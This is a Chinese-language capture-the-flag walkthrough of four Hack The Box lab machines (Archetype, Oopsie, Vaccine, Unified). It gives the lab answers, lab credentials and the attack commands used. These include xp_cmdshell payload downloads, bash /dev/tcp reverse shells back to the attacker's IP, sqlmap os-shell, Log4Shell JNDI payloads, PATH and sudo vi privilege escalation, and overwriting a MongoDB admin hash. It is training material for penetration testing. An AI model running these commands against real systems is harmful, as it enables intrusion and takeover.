Archetype
答案:1433(mssql端口号即sqlserver)
答案:backups(Linux 网络通讯 : smbclient 命令详解_smbclient命令-CSDN博客)
smbclient
答案:M3g4c0rp123
唯一一个不需要密码的文件进入get下config
答案:mssqlclient.py
mssqlclient
Impacket 工具包使用_impacket工具包-CSDN博客
find命令查找
可以参考:打点-进入内网(一)_impacket-mssqlclient-CSDN博客
python mssqlclient.py domain/username:password@ip -windows-auth
python mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.159.172 -windows-auth
答案:xp_cmdshell(命令界面即cmd界面)
xp_cmdshell
help后发现cmdshell
SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权_creating xp_cmdshell with sp_oacreate-CSDN博客
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
返回1说明存在
显示关闭
重启xp_cmdshell
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
成功执行(当然也可以一直使用此种方法搜索,但很慢所以考虑反弹shell)
使用powershell -c pwd可以看到当前目录即powershell语句
单双引号要注意,没有exec要使用双引号
反弹shell下载一个从kali上传的文件的过程主要是找到可以下载的目录下
1、开其http服务
2、开启nc
3、wget下来到downloads路径下
xp_cmdshell "powershell.exe cd C:\Users\sql_svc\Downloads; wget http://10.10.14.67/2.exe -outfile 2.exe"
或
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.67/2.exe -outfile 2.exe"
或
xp_cmdshell "powershell.exe wget http://10.10.14.67/2.exe -OutFile c:\\Users\Public\2.exe"
成功下载
执行文件成功反弹shell
xp_cmdshell "powershell.exe cd C:\Users\sql_svc\Downloads; ./2.exe -e cmd.exe 10.10.14.67 9001"
通过查找,第一个flag在桌面使用type进行查看
通过net user可以看到我们现在并不是最高权限
答案:winpeas
winpeas提权
答案:ConsoleHost_history.txt
通过刚刚的路径下载到windows中
https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
powershell.exe "wget http://10.10.14.67/winPEASx64.exe -outfile winPEASx64.exe"
启动程序.\winPEASx64.exe
扫描出history文件
type查看,有最高权限用户密码
psexec
切换到kali远程登录,使用psexec.py此脚本不需要3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是windows提供的工具,所以杀软会将其添加到白名单中
sudo python psexec.py administrator@10.129.39.133
查找后拿到flag
答案:
答案:
Oopsie
答案:proxy
登录页面
答案:/cdn-cgi/login
提示流量拦截进行操作,返回包有登录接口
答案:cookie
答案:34322
越权
抓包看一眼
点击上传处越权成admin的权限
上传时cookie也要改
答案:/uploads
文件上传反弹shell
自带shell上传更改ip和端口
上传成功后需要找到webshell路径
sudo gobuster dir -u http://10.129.95.191 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php 指定文件为php
弹了好几次终于成功(建议多开不一定哪一个弹上)
python -c 'import pty; pty.spawn("/bin/bash")'实现交互shell(没有python就不行了)
解决交互shell失败情况:
/bin/sh: python: not found 问题的解决_51CTO博客_#!/usr/bin/env python
python3 -c 'import pty; pty.spawn("/bin/bash")'
进入
在var/www/html/cdn-cgi/db.php
答案:db.php
提权
切换用户
flag:
答案:find
可执行文件更替环境变量调用提权
根据提示搜索bugtracker
find -group bugtracker查找组
在usr/bin/下
答案:root
需要root权限
答案:Set owner User ID
答案:cat
尝试执行文件
/usr/bin/bugtracker
可以看到cat路径的执行文件当id不符则找不到不执行,并且当执行此文件时有root权限调用的cat命令,root直接调用是调用的cat环境遍历中的cat,则可以构造恶意cat将这个cat设置成环境遍历,使其root通过bugtracker可执行文件进行调用执行恶意cat
进入tmp目录下创建cat可执行文件构造恶意cat代码,赋给权限后将其tmp目录设置为环境变量目录
再次执行bugtracker可执行文件使其用root权限直接调用环境变量中的cat恶意可执行文件
因为cat为恶意文件并且修改了环境变量所以cat并不能查看文件可以使用more或者tac等其他命令
答案:
答案:
Vaccine
答案:ftp
答案:anonymous
答案:backup.zip
答案:zip2john
可参考:使用john爆破压缩文件_rar3hash-CSDN博客
答案:qwerty789
unzip解压
md5加密的密码
答案:--os-shell(使用os-shell需要绝对路径、root权限、secure_file_pirv无限制)
通过题目判断存在sql注入直接插入'
sqlmap(建议渗透时都试一试os-shell)
第一次sqlmap没跑出来什么都没加
发现cookie认证直接f12搜索即可得到cookie
sudo sqlmap -u "http://10.129.95.174/dashboard.php?search=1" --random-agent --batch --os-shell --cookie PHPSESSID=36hrl49v7756qai9p5hebgu8on
成功进入
反弹shell
不嫌弃可以直接使用,嫌弃可以反弹shell设成交互式shell便捷(但一般需要终端所以还是要交互)
bash -c "sh -i >& /dev/tcp/10.10.14.67/9001 0>&1"
成功反弹python3 -c 'import pty; pty.spawn("/bin/bash")'开启交互shell
拿到普通用户flag
进入其html目录/var/www/html可发现php文件cat后发现密码P@s5w0rd!
查看sudo可用权限
【Linux】如何检查Linux用户是否具有sudo权限_linux 判断是否有sudo权限-CSDN博客
答案:vi
vi编辑器提权
sudo -l后发现有vi编辑器的权限那么就用vi编辑器提权,又因为后门有conf文件所以直接向其文件写入 :!/bin/bash ,因为iv是sudo打开的所以拥有root权限
注意:正常进入文件使用vi编辑是不行的,这样并没有调用sudo导致没有root权限
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
输入后直接回车即可
答案:
答案:
Unified
这靶机是真气人自己打的小伙伴做好生气的准备
答案:22,6789,8080,8443
答案:UniFi Network
答案:6.4.54
访问url https://10.129.80.92:8443/manage/account/login?redirect=%2Fmanage
需要https协议
答案:CVE-2021-44228
cve-2021-44228 log4j
Unifi Log4jshell漏洞利用-腾讯云开发者社区-腾讯云 (tencent.com)
搜索与其相关的漏洞
msf也可以搜索出来
答案:ldap
答案:389
sudo tcpdump -i tun0 port 389
在389端口(LDAP)上开启tcpdump
,来监听LDAP的网络流量
"${jndi:ldap://10.10.14.67/whatever}"
答案:tcpdump
靶机的58108端口成功给tun0的ldap发送了信息
maven安装
安装好JDK和MAVEN,需要用到Index of /dist/maven/maven-3/3.6.3/binaries (apache.org)
踩坑 - Kali下安装配置maven,完美解决!_kali提示mvn不可用-CSDN博客
第一个脚本
失败,弹不了shell,有的人可以弹我的是弹不了
脚本使用方法:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]
需要先将shell的语句base64编码
echo 'sh -i >& /dev/tcp/10.10.14.67/9001 0>&1' | base64
sudo java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}" -A "10.10.14.67"
这里选择rmi://10.10.14.67:1099/cqiofg重放后
第二个脚本
参考:Hack The Box Starting Point 渗透测试入门靶场 TIER 2 - Unified_hackthebox unified-CSDN博客
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
搞了26分钟
还是用上述的shell,在target中有RogueJndi-1.1.jar
java -jar RogueJndi-1.1.jar --command "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjcvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.67"
开启监听
使用:ldap://10.10.14.67:1389/o=tomcat
成功弹入
开启交互shell实现交互式shell的几种方式 - SAUCERMAN (saucer-man.com)
python交互式无用,因为无python环境
$ script /dev/null -c bash
经过查找找到用户的flag
提权
题目提示MongoDB,unifi通常使用mongodb作为数据库
答案:27117
查看端口号ps -aux | grep mongodb
答案:ace
使用mongodb提权,与其交互,UniFi默认数据库一般为ace
答案:db.admin.find()
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
来获取管理员账号密码,密码为hash(sha-512加密)也可以使用命令hashid判断
$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.
破解不了考虑将其替换,替换其hash密码
mkpasswd工具
mkpasswd -m sha-512 unified
$6$ZIrPZuXKiYSRKzzq$dnI7U2bZAa3DOW2WvpTS04y1CcX0zdeOfqJ7e5yp/xtxYT.ZTwIjZcpAh1oj4feB8Y8Gva8NE8gGM.GQc2jC00
答案:db.admin.update()
替换
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$ZIrPZuXKiYSRKzzq$dnI7U2bZAa3DOW2WvpTS04y1CcX0zdeOfqJ7e5yp/xtxYT.ZTwIjZcpAh1oj4feB8Y8Gva8NE8gGM.GQc2jC00"}})'
检查一遍与之前是否相同是否更替自己设置的密码
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
已经替换成功 密码为unified
登录后台即可administrator/unified
答案:NotACrackablePassword4U2022
进入后选择设置site发现root账号密码NotACrackablePassword4U2022
ssh进入
拿到root的flag
答案:
答案: